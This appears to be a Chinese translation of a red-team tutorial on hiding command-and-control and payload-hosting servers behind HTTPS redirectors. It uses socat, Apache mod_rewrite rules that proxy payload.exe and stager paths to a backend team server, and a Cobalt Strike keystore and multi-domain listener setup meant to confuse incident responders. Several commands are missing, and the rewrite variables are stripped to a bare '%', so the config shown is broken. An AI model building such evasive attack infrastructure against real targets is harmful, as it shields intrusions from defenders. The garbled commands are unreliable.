當前位置:
首頁 > 新聞 > Https payload與C2重定向

Https payload與C2重定向

我已經寫了很多關於使用重定向以及如何加強紅隊評估的文章。自從寫了關於該主題的第一篇文章以來,我常收到的問題是如何對HTTPS流量做同樣的事情。在這篇文章中,我將詳細介紹不同的HTTPS重定向方法以及何時使用它們。

我想對Joe Vest(@joevest)表示感謝,他將HTTPS命令和控制(C2)重定向集成到cs2modrewrite 工具中,並指出了一些這種重定向所需的Apache配置。

一、Dumb管道重定向

重定向主要分為兩類:dumb管道或過濾。顧名思義,dumb管道重定向只是將流量從其網路介面轉發到另一個配置好的主機介面。這種類型的重定向上手很快,但本地不能控制重定向傳入流量。因此,愚蠢的管道重定向會通過混淆C2伺服器的真實IP地址來為追蹤延長一些時間,但它不能阻礙防禦者的調查。

由於以下兩種方法不對流量進行任何條件過濾,因此它們可用於payload或C2重定向。

(一)iptables

使用Linux防火牆工具iptables,可以將特定埠上的所有傳入流量轉發給遠程主機上的特定埠。這樣就可以通過443(下面的第1行)獲取任何TCP流量,並通過443(下面的第2行)將它重定向到後端伺服器。將 替換為後端伺服器的IP地址,並使用root許可權運行以下命令:

(二)socat

socat是用來創建相同類型的流量重定向的替代工具。下面的一行代碼將重定向來自443埠(最下面的443)的任何流量到遠程主機IP地址的443埠(最右邊的443)。與之前一樣,將替換為後端伺服器的IP地址。

默認情況下,socat在前台運行。雖然可以在後台運行該進程,但我建議在屏幕會話中運行socat,以便更輕鬆地進行動態重定向修改。

socat TCP4-LISTEN:443,fork TCP4::443

如果重定向的流量很大(如C2),socat可能會開始遇到問題或使主機速度緩慢。如果遇到這些問題,請嘗試iptables。

二、Apache mod_rewrite

雖然dumb管道重定向方便快捷,但過濾重定向提供了幾乎無止境的方法來阻止防禦者調查攻擊者的基礎結構。任何成熟的Web伺服器技術都應該能夠提供過濾重定向,但本文主要關注使用Apache及其mod_rewrite模塊。

本節將重點介紹payload和C2重定向,因為重定向通常需要根據預期流量提供不同的功能。在以下示例中,攻擊者的域名為spoofdomain.com,所有伺服器操作系統均為Debian 9。

(一)首次建立

此技術需要幾個一次性設置步驟。下述步驟包括為基礎架構生成和使用LetsEncrypt證書,如果已在其他地方獲得了證書或選擇使用自簽名證書,請跳過這些步驟。

Apache與SSL建立

要為流量重定向設置Apache mod_rewrite,需要做一些首次設置。有關初始設置的更多細節,請參閱我的第一篇mod_rewrite文章的mod_rewrite Basics 部分。

在重定向器上,使用root許可權運行以下命令:

apt-get install apache2

a2enmod ssl rewrite proxy proxy_http

a2ensite default-ssl.conf

service apache2 restart

在Apache2配置文件(默認為/etc/apache2/apache2.conf)中,找到站點目錄的Directory標記並將None更改為All:

Options Indexes FollowSymLinks

AllowOverride None

Require all granted

使用LetsEncrypt生成證書

如果已經有了證書或希望使用自簽名證書,則可以跳過本節中的步驟。

在Debian上生成LetsEncrypt證書:

修改certbot命令以包含任何其他需要使用-d標誌保護的子域。請注意,上面我們指定了根域以及www子域。

如果沒有問題,證書文件將被保存到 /etc/letsencrypt/live/spoofdomain.com。

編輯SSL站點配置(默認情況下位於/etc/apache2/sites-enabled/default-ssl.conf),以便SSLCertificateFile和SSLCertificateKeyFile選項的文件路徑與LetsEncrypt證書組件的路徑一致:

SSLCertificateFile /etc/letsencrypt/live/spoofdomain.com/cert.pem

SSLCertificateKeyFile /etc/letsencrypt/live/spoofdomain.com/privkey.pem

另外,將以下代碼添加到VirtualHost標記中的同一文件中:

# Enable SSL

SSLEngine On

# Enable Proxy

SSLProxyEngine On

# Trust Self-Signed Certificates generated by Cobalt Strike

SSLProxyVerify none

SSLProxyCheckPeerCN off

SSLProxyCheckPeerName off

現在使用有效的LetsEncrypt證書進行基本的SSL安裝。從這裡開始,這篇文章將演示如何提供所需的payload文件或網頁,以及如何重定向C2流量。

(二)Payload重定向

在設計攻擊基礎架構時,假設任何文件或payload都在社會工程或其他攻擊路徑中公共託管,成為payload重定向的一部分。在設置中,重定向會將任何有效的請求代理到相應的後端伺服器,並將所有其他請求重定向到目標的真實404頁面。這些文件可以使用HTTP或HTTPS託管;最終用戶將看到spoofdomain.com的有效SSL連接。

下面是我們的設置:

SSL Payload 重定向

請注意,後端通過HTTP託管文件。我們正在做這個演示和簡單的設置。

一旦在主機上完成了首次設置(見上文),在文件 /var/www/html/.htaccess中添加以下文本:

RewriteEngine On

RewriteCond % ^/(payload.exe|landingpage.html)/?$ [NC]

RewriteRule ^.*$ http://REMOTE-HOST-IP% [P]

RewriteRule ^.*$ http://example.com/404? [L,R=302]

以下為彩色代碼細划了正在執行的規則:

Enable the rewrite engine

If the request"s URI is either "/payload.exe" or "/landingpage.html" (with an optional trailing slash), ignoring case;

Change the entire request to serve the original request path from the remote host"s IP, and keep the user"s address bar the same (obscure the backend server"s IP).

If the above conditions are not met, change the entire request to http://example.com/404 and drop any query strings from the original request. Do not evaluate further rules and redirect the user, changing their address bar.

注意上面的規則集,使用HTTP作為第一個RewriteRule,是因為僅使用HTTP在後端伺服器上託管payload.exe和landingpage.html文件。

以下是在受害者瀏覽器中看到的landingpage.html文件:

重定向SSL到主機文件

請注意,儘管文件本身託管在另一台伺服器上,但在瀏覽器URL欄中顯示了spoofdomain.com。後端文件可以通過HTTPS或HTTP託管;兩者將在目標瀏覽器中按預期顯示。

這些文件也可以託管在Cobalt Strike團隊伺服器上。 Cobalt Strike 3.10及以上版本支持通過SSL託管社交工程攻擊和文件。為此,需要從SSL證書創建keystore,將keystore上傳到Cobalt Strike team伺服器,並在伺服器的Malleable C2配置文件中指定keystore。

生成Cobalt Strike的keystore:

openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem -out spoofdomain.p12 -name spoofdomain.com -passout pass:mypasskeytool -importkeystore -deststorepass mypass -destkeypass mypass -destkeystore spoofdomain.store -srckeystore spoofdomain.p12 -srcstoretype PKCS12 -srcstorepass mypass -alias spoofdomain.com

添加keystore到Malleable C2:

https-certificate {

set keystore "spoofdomain.store";

set password "mypass";

}

當team伺服器啟動時,它將使用提供的keystore並啟用SSL文件託管。

(三)C2重定向

命令和控制重定向在很大程度上與payload重定向類似,只不過htaccess文件需要允許C2,託管文件和stager URI。

所有C2 URI都在team伺服器Malleable C2配置文件中指定set uri行,使用 % mod_rewrite變數返回到到team伺服器。

Cobalt Strike可通過HTTP或HTTPS提供託管文件。通過HTTPS託管文件需要額外的步驟來創建keystore並修改Malleable C2配置文件;但是,它將簡化重定向的htaccess文件規則集。如果選擇通過HTTP託管文件,請確保重定向的htaccess規則代理HTTP,而不是HTTPS。

如果計劃在攻擊路徑中使用任何分階段的payload,則需要將Stager URI重定向回team伺服器。默認情況下,Cobalt Strike stager URI是一個隨機的四個字元的字元串。在Cobalt Strike 3.10和更新的版本中,可以通過正則表達式來實現,或者在http-stagerblock的Malleable C2配置文件中指定一個stager URI。

這是一個規則集,通過HTTP將payload.exe和landingpage.html的靜態文件重定向到team伺服器,同時通過HTTPS重定向/ legit-path-1和/ legit-path-2的C2 URI和/ stager的staging uri :

RewriteEngine On

RewriteCond % ^/(payload.exe|landingpage.html)/?$ [NC]

RewriteRule ^.*$ http://REMOTE-HOST-IP% [P]

RewriteCond % ^/(legit-path-1|legit-path-2|stager)/?$ [NC]

RewriteRule ^.*$ https://REMOTE-HOST-IP% [P]

RewriteRule ^.*$ http://example.com/404? [L,R=302]

以下為彩色代碼細划了正在執行的規則:

Enable the rewrite engine

If the request"s URI is either "/payload.exe" or "/landingpage.html" (with an optional trailing slash), ignoring case;

Change the entire request to serve the original request path over HTTP from the remote host"s IP, and keep the user"s address bar the same (obscure the backend server"s IP).

If the request"s URI is "/legit-path-1", "/legit-path-2", or "/stager" (with an optional trailing slash), ignoring case;

Change the entire request to serve the original request path over HTTPS from the remote host"s IP, and keep the user"s address bar the same (obscure the backend server"s IP).

If the above conditions are not met, change the entire request to http://example.com/404 and drop any query strings from the original request. Do not evaluate further rules and redirect the user, changing their address bar.

這顯然是一個人為的例子,需要使用Malleable C2配置文件進行設置以提供一些規避策略,但上面的代碼應該說明如何在HTTP和HTTPS之間混合使用。

有關Cobalt Strike C2重定向的更多信息,以及一些示例,請查看我的帖子Cobalt Strike HTTP C2 Redirectors with Apache mod_rewrite。

多個重定向到一個後端伺服器

SSL重定向提供了使用不同SSL證書保護多個回聯域名的有趣功能。由於證書可以是完全唯一的,因此此設置可以降低事件響應方基於證書元數據識別C2域名的風險。

以下是該設置:

使用多個域名的SSL重定向

為每個重定向設置自己的子段,遵循上面各節中詳述的步驟。設置中的關鍵區別是在Cobalt Strike監聽器設置期間在回聯彈出窗口中指定了兩個域名。以下是Cobalt Strike中的設置:

設置HTTPS監聽以使用具有唯一證書的多個SSL域名

注意,我們指定phishdomain.com作為主監聽器的主機以及Beacons欄位中的兩個域(phishdomain.com和spoofdomain.com)。我們還建立了一個指向另一個域名的外部監聽器,以便在需要時通過spoofdomain.com站點。通過此設置,Beacon將在選定監聽器的主機欄位上轉換,隨後對beacon欄位中指定的域名進行循環檢查。

三、強制使用HTTPS

在某些設置中,可能需要強制所有流量通過HTTPS,而不允許混合。這種情況下,在htaccessruleset的RewriteEngine On行後添加以下幾行:

RewriteCond % !=on [NC]

RewriteRule ^.*$ https://REDIRECTOR-DOMAIN.com% [L,R=301]

以下為彩色代碼細划了正在執行的規則:

Enable the rewrite engine

If the request"s SSL status is NOT "on",

Change the entire request to serve the original request path from REDIRECTOR-DOMAIN.com over HTTPS, and change the user"s address bar show the redirection.

Make the redirect permanent with a 301 code.

上面的規則集從AskApache.com採用並略微修改。如果請求使用SSL / TLS,則%變數將返回on,如果僅使用HTTP,則返回off。

四、總結

重定向是隱蔽攻擊基礎架構中的關鍵組件。它們被用來混淆後端基礎架構,並且可能被用來混淆或迷惑正在調查事件的響應者。重定向流量混合到網路上的正常流量中。由於SSL / TLS的迅速增加,當重定向需要使用有效證書運行SSL / TLS時,就會碰到這樣的問題。本文詳細介紹了如何設置這些功能以及使用啟用了SSL的重定向所具備的一些強大的功能,例如通過HTTPS Cobalt Strike監聽器使用多個域名。


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

APT32海蓮花組織最新活動:老技術,新後門
信息安全的巨人也免不了成為「美食」的俘虜

TAG:嘶吼RoarTalk |